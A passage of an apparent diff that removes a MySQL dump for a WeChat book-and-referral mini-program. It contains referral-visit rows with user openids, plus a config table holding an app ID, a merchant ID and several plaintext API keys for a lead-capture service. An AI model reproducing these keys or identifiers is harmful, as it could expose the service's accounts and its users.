`referral_visits` VALUES (584, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:14:19'); -INSERT INTO `referral_visits` VALUES (585, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:24:14'); -INSERT INTO `referral_visits` VALUES (586, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:24:14'); -INSERT INTO `referral_visits` VALUES (587, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:24:14'); -INSERT INTO `referral_visits` VALUES (588, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/chapters/chapters', '2026-03-10 11:38:02'); -INSERT INTO `referral_visits` VALUES (589, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-03-10 11:38:02'); -INSERT INTO `referral_visits` VALUES (590, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:38:35'); -INSERT INTO `referral_visits` VALUES (591, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:38:36'); -INSERT INTO `referral_visits` VALUES (592, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-03-10 11:38:41'); -INSERT INTO `referral_visits` VALUES (593, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-03-10 11:38:41'); -INSERT INTO `referral_visits` VALUES (594, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-03-10 11:38:50'); -INSERT INTO `referral_visits` VALUES (595, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-03-10 11:39:02'); -INSERT INTO `referral_visits` VALUES (596, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:39:30'); -INSERT INTO `referral_visits` VALUES (597, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:39:30'); -INSERT INTO `referral_visits` VALUES (598, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:39:30'); -INSERT INTO `referral_visits` VALUES (599, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-03-10 11:39:58'); -INSERT INTO `referral_visits` VALUES (600, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-03-10 11:40:05'); -INSERT INTO `referral_visits` VALUES (601, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:40:10'); -INSERT INTO `referral_visits` VALUES (602, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:40:10'); -INSERT INTO `referral_visits` VALUES (603, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:40:10'); -INSERT INTO `referral_visits` VALUES (604, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-03-10 11:40:11'); -INSERT INTO `referral_visits` VALUES (605, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:40:27'); -INSERT INTO `referral_visits` VALUES (606, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:40:27'); -INSERT INTO `referral_visits` VALUES (607, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:43:59'); -INSERT INTO `referral_visits` VALUES (608, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 12:43:03'); -INSERT INTO `referral_visits` VALUES (609, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 12:43:03'); -INSERT INTO `referral_visits` VALUES (610, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 12:43:03'); -INSERT INTO `referral_visits` VALUES (611, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 12:48:27'); -INSERT INTO `referral_visits` VALUES (612, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 12:48:27'); -INSERT INTO `referral_visits` VALUES (613, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 12:48:27'); -INSERT INTO `referral_visits` VALUES (614, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 12:50:40'); -INSERT INTO `referral_visits` VALUES (615, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 12:50:40'); -INSERT INTO `referral_visits` VALUES (616, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 12:50:40'); -INSERT INTO `referral_visits` VALUES (617, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-10 13:03:01'); -INSERT INTO `referral_visits` VALUES (618, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-10 13:03:01'); -INSERT INTO `referral_visits` VALUES (619, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 13:03:01'); -INSERT INTO `referral_visits` VALUES (620, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 13:44:17'); -INSERT INTO `referral_visits` VALUES (621, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 13:44:17'); -INSERT INTO `referral_visits` VALUES (622, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 13:44:18'); -INSERT INTO `referral_visits` VALUES (623, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5eVttIThJZivHtAredPgYDk', 'ogpTW5eVttIThJZivHtAredPgYDk', 'miniprogram', NULL, '2026-03-10 13:44:28'); -INSERT INTO `referral_visits` VALUES (624, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5eVttIThJZivHtAredPgYDk', 'ogpTW5eVttIThJZivHtAredPgYDk', 'miniprogram', NULL, '2026-03-10 13:44:28'); -INSERT INTO `referral_visits` VALUES (625, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5eVttIThJZivHtAredPgYDk', 'ogpTW5eVttIThJZivHtAredPgYDk', 'miniprogram', 'pages/read/read', '2026-03-10 13:44:28'); -INSERT INTO `referral_visits` VALUES (626, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 13:51:49'); -INSERT INTO `referral_visits` VALUES (627, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 13:51:49'); -INSERT INTO `referral_visits` VALUES (628, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 13:51:49'); -INSERT INTO `referral_visits` VALUES (629, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-10 13:51:58'); -INSERT INTO `referral_visits` VALUES (630, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-10 13:51:58'); -INSERT INTO `referral_visits` VALUES (631, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-10 13:51:59'); -INSERT INTO `referral_visits` VALUES (632, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 22:17:49'); -INSERT INTO `referral_visits` VALUES (633, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 22:17:49'); -INSERT INTO `referral_visits` VALUES (634, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 22:17:49'); -INSERT INTO `referral_visits` VALUES (635, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'miniprogram', 'pages/read/read', '2026-03-10 22:18:15'); -INSERT INTO `referral_visits` VALUES (636, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'miniprogram', 'pages/read/read', '2026-03-10 22:18:15'); -INSERT INTO `referral_visits` VALUES (637, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-10 22:18:42'); -INSERT INTO `referral_visits` VALUES (638, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-10 22:18:42'); -INSERT INTO `referral_visits` VALUES (639, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-10 22:18:43'); -INSERT INTO `referral_visits` VALUES (640, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'miniprogram', 'pages/read/read', '2026-03-10 22:19:22'); -INSERT INTO `referral_visits` VALUES (641, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'miniprogram', 'pages/index/index', '2026-03-10 22:19:22'); -INSERT INTO `referral_visits` VALUES (642, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'miniprogram', 'pages/read/read', '2026-03-10 22:19:32'); -INSERT INTO `referral_visits` VALUES (643, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'miniprogram', 'pages/read/read', '2026-03-10 22:19:32'); -INSERT INTO `referral_visits` VALUES (644, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 22:44:13'); -INSERT INTO `referral_visits` VALUES (645, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 22:44:13'); -INSERT INTO `referral_visits` VALUES (646, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 22:44:34'); -INSERT INTO `referral_visits` VALUES (647, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 22:44:34'); -INSERT INTO `referral_visits` VALUES (648, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 22:44:34'); -INSERT INTO `referral_visits` VALUES (649, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5VDkVXuX8gG2jYUmFh-e8dM', 'ogpTW5VDkVXuX8gG2jYUmFh-e8dM', 'miniprogram', 'pages/read/read', '2026-03-10 22:44:45'); -INSERT INTO `referral_visits` VALUES (650, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 22:49:53'); -INSERT INTO `referral_visits` VALUES (651, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 22:49:53'); -INSERT INTO `referral_visits` VALUES (652, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 22:49:53'); -INSERT INTO `referral_visits` VALUES (653, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:28:05'); -INSERT INTO `referral_visits` VALUES (654, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:28:05'); -INSERT INTO `referral_visits` VALUES (655, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:28:09'); -INSERT INTO `referral_visits` VALUES (656, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:28:14'); -INSERT INTO `referral_visits` VALUES (657, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:28:14'); -INSERT INTO `referral_visits` VALUES (658, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:28:17'); -INSERT INTO `referral_visits` VALUES (659, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:28:20'); -INSERT INTO `referral_visits` VALUES (660, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:28:57'); -INSERT INTO `referral_visits` VALUES (661, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:29:08'); -INSERT INTO `referral_visits` VALUES (662, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-11 02:29:17'); -INSERT INTO `referral_visits` VALUES (663, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-11 02:29:17'); -INSERT INTO `referral_visits` VALUES (664, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-11 02:29:17'); -INSERT INTO `referral_visits` VALUES (665, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-11 02:29:34'); -INSERT INTO `referral_visits` VALUES (666, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-11 02:29:34'); -INSERT INTO `referral_visits` VALUES (667, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-11 02:29:34'); -INSERT INTO `referral_visits` VALUES (668, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-11 02:29:36'); -INSERT INTO `referral_visits` VALUES (669, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-11 02:29:36'); -INSERT INTO `referral_visits` VALUES (670, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:29:36'); -INSERT INTO `referral_visits` VALUES (671, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-11 02:29:41'); -INSERT INTO `referral_visits` VALUES (672, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-11 02:29:41'); -INSERT INTO `referral_visits` VALUES (673, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-11 02:29:41'); -INSERT INTO `referral_visits` VALUES (674, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-11 02:29:43'); -INSERT INTO `referral_visits` VALUES (675, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-11 02:29:43'); -INSERT INTO `referral_visits` VALUES (676, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-11 02:29:43'); -INSERT INTO `referral_visits` VALUES (677, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-11 02:29:45'); -INSERT INTO `referral_visits` VALUES (678, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-11 02:29:45'); -INSERT INTO `referral_visits` VALUES (679, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-11 02:29:45'); -INSERT INTO `referral_visits` VALUES (680, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'miniprogram', NULL, '2026-03-11 02:34:52'); -INSERT INTO `referral_visits` VALUES (681, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'miniprogram', NULL, '2026-03-11 02:34:52'); -INSERT INTO `referral_visits` VALUES (682, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'miniprogram', 'pages/read/read', '2026-03-11 02:34:52'); - --- ---------------------------- --- Table structure for system_config --- ---------------------------- -DROP TABLE IF EXISTS `system_config`; -CREATE TABLE `system_config` ( - `id` int(11) NOT NULL AUTO_INCREMENT, - `config_key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `config_value` json NOT NULL, - `description` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, - `updated_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `config_key`(`config_key`) USING BTREE, - INDEX `idx_config_key`(`config_key`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 103 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of system_config --- ---------------------------- -INSERT INTO `system_config` VALUES (1, 'match_config', '{\"settings\": {\"maxMatchesPerDay\": 10, \"enableFreeMatches\": true, \"enablePaidMatches\": true}, \"matchPrice\": 1, \"matchTypes\": [{\"id\": \"partner\", \"icon\": \"⭐\", \"label\": \"创业合伙\", \"enabled\": true, \"matchLabel\": \"创业伙伴\", \"matchFromDB\": true, \"showJoinAfterMatch\": false}, {\"id\": \"investor\", \"icon\": \"👥\", \"label\": \"资源对接\", \"enabled\": true, \"matchLabel\": \"资源对接\", \"matchFromDB\": false, \"showJoinAfterMatch\": true}, {\"id\": \"mentor\", \"icon\": \"❤️\", \"label\": \"导师顾问\", \"enabled\": true, \"matchLabel\": \"商业顾问\", \"matchFromDB\": false, \"showJoinAfterMatch\": true}, {\"id\": \"team\", \"icon\": \"🎮\", \"label\": \"团队招募\", \"enabled\": true, \"matchLabel\": \"加入项目\", \"matchFromDB\": false, \"showJoinAfterMatch\": true}], \"poolSettings\": {\"poolSource\": [\"vip\", \"complete\"], \"requirePhone\": true, \"requireAvatar\": true, \"requireBusiness\": true, \"requireNickname\": true}, \"freeMatchLimit\": 3}', '匹配功能配置', '2026-01-25 12:15:20', '2026-03-08 10:12:12'); -INSERT INTO `system_config` VALUES (2, 'referral_config', '{\"bindingDays\": 30, \"withdrawFee\": 5, \"userDiscount\": 0, \"distributorShare\": 90, \"minWithdrawAmount\": 0, \"enableAutoWithdraw\": true}', '分销 / 推广规则配置', '2026-01-25 12:15:20', '2026-02-23 10:10:59'); -INSERT INTO `system_config` VALUES (3, 'book_config', '{\"freeSections\": [\"preface\", \"epilogue\", \"1.1\", \"appendix-1\", \"appendix-2\", \"appendix-3\"], \"totalSections\": 62, \"latestSectionId\": \"9.14\"}', '书籍配置-免费章节', '2026-01-31 12:00:15', '2026-01-31 12:00:15'); -INSERT INTO `system_config` VALUES (4, 'mp_config', '{\"appId\": \"wxb8bbb2b10dec74aa\", \"mchId\": \"1318592501\", \"apiDomain\": \"https://soul.quwanzhi.com\", \"minWithdraw\": 1, \"buyerDiscount\": 5, \"referralBindDays\": 30, \"withdrawSubscribeTmplId\": \"u3MbZGPRkrZIk-I7QdpwzFxnO_CeQPaCWF2FkiIablE\"}', '小程序专用配置', '2026-01-31 12:00:15', '2026-03-07 14:56:26'); -INSERT INTO `system_config` VALUES (5, 'feature_config', '{\"aboutEnabled\": true, \"matchEnabled\": true, \"searchEnabled\": true, \"referralEnabled\": true}', '功能开关配置', '2026-01-31 12:00:16', '2026-03-11 02:42:14'); -INSERT INTO `system_config` VALUES (97, 'vip_price', '1980', NULL, '2026-02-23 17:04:23', '2026-02-23 17:04:23'); -INSERT INTO `system_config` VALUES (99, 'site_settings', '{\"authorInfo\": {\"bio\": \"连续创业者,私域运营专家,每天早上6-9点在Soul派对房分享真实商业故事\", \"name\": \"卡若\", \"liveTime\": \"06:00-09:00\", \"platform\": \"Soul派对房\", \"startDate\": \"2025年10月15日\", \"description\": \"连续创业者,私域运营专家\"}, \"sectionPrice\": 1, \"baseBookPrice\": 9.9, \"distributorShare\": 90}', '站点与作者配置', '2026-03-07 14:56:26', '2026-03-07 14:56:26'); -INSERT INTO `system_config` VALUES (100, 'article_ranking_weights', '{\"payWeight\": 0.4, \"readWeight\": 0.1, \"recencyWeight\": 0.5}', '文章排名算法权重', '2026-03-07 15:45:19', '2026-03-10 06:35:30'); -INSERT INTO `system_config` VALUES (101, 'ckb_config', '{\"routes\": {\"lead\": {\"tags\": \"\", \"notes\": \"\", \"apiKey\": \"2y4v5-rjhfc-sg5wy-zklkv-bg0tl\", \"apiUrl\": \"https://ckbapi.quwanzhi.com/v1/api/scenarios\", \"source\": \"\", \"siteTags\": \"创业实验APP\"}, \"match\": {\"tags\": \"\", \"notes\": \"\", \"apiKey\": \"fyngh-ecy9h-qkdae-epwd5-rz6kd\", \"apiUrl\": \"https://ckbapi.quwanzhi.com/v1/api/scenarios\", \"source\": \"\", \"siteTags\": \"创业实验APP\"}, \"join_team\": {\"tags\": \"\", \"notes\": \"\", \"apiKey\": \"fyngh-ecy9h-qkdae-epwd5-rz6kd\", \"apiUrl\": \"https://ckbapi.quwanzhi.com/v1/api/scenarios\", \"source\": \"\", \"siteTags\": \"创业实验APP\"}, \"join_mentor\": {\"tags\": \"\", \"notes\": \"\", \"apiKey\": \"Egk8K-7hlih-qS5Au-kLPmO-pkR57-XKPhT\", \"apiUrl\": \"https://ckbapi.quwanzhi.com/v1/api/scenarios\", \"source\": \"\", \"siteTags\": \"创业实验APP\"}, \"join_partner\": {\"tags\": \"\", \"notes\": \"\", \"apiKey\": \"\", \"apiUrl\": \"https://ckbapi.quwanzhi.com/v1/api/scenarios\", \"source\": \"\", \"siteTags\": \"创业实验APP\"}, \"join_investor\": {\"tags\": \"\", \"notes\": \"\", \"apiKey\": \"UIs5a-sg7fI-0O1Yp-8kDEf-NJnvf-uqipP\", \"apiUrl\": \"https://ckbapi.quwanzhi.com/v1/api/scenarios\", \"source\": \"\", \"siteTags\": \"创业实验APP\"}}, \"docNotes\": \"\", \"docContent\": \"# 场景获客接口摘要\\n- 地址:POST /v1/api/scenarios\\n- 必填:apiKey、sign、timestamp\\n- 主标识:phone 或 wechatId 至少一项\\n- 可选:name、source、remark、tags、siteTags、portrait\\n- 签名:排除 sign/apiKey/portrait,键名升序拼接值后双重 MD5\\n- 成功:code=200,message=新增成功 或 已存在\"}', '存客宝接口配置', '2026-03-08 09:00:52', '2026-03-08 21:58:42'); -INSERT INTO `system_config` VALUES (102, 'pinned_section_ids', '[\"10.15\", \"10.11\"]', '强制置顶章节ID列表(精选推荐/首页最新更新)', '2026-03-10 06:36:04', '2026-03-10 06:36:33'); - --- ---------------------------- --- Table structure for user_addresses --- ---------------------------- -DROP TABLE IF EXISTS `user_addresses`; -CREATE TABLE `user_addresses` ( - `id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `user_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `province` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `city` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `district` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `detail` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `is_default` 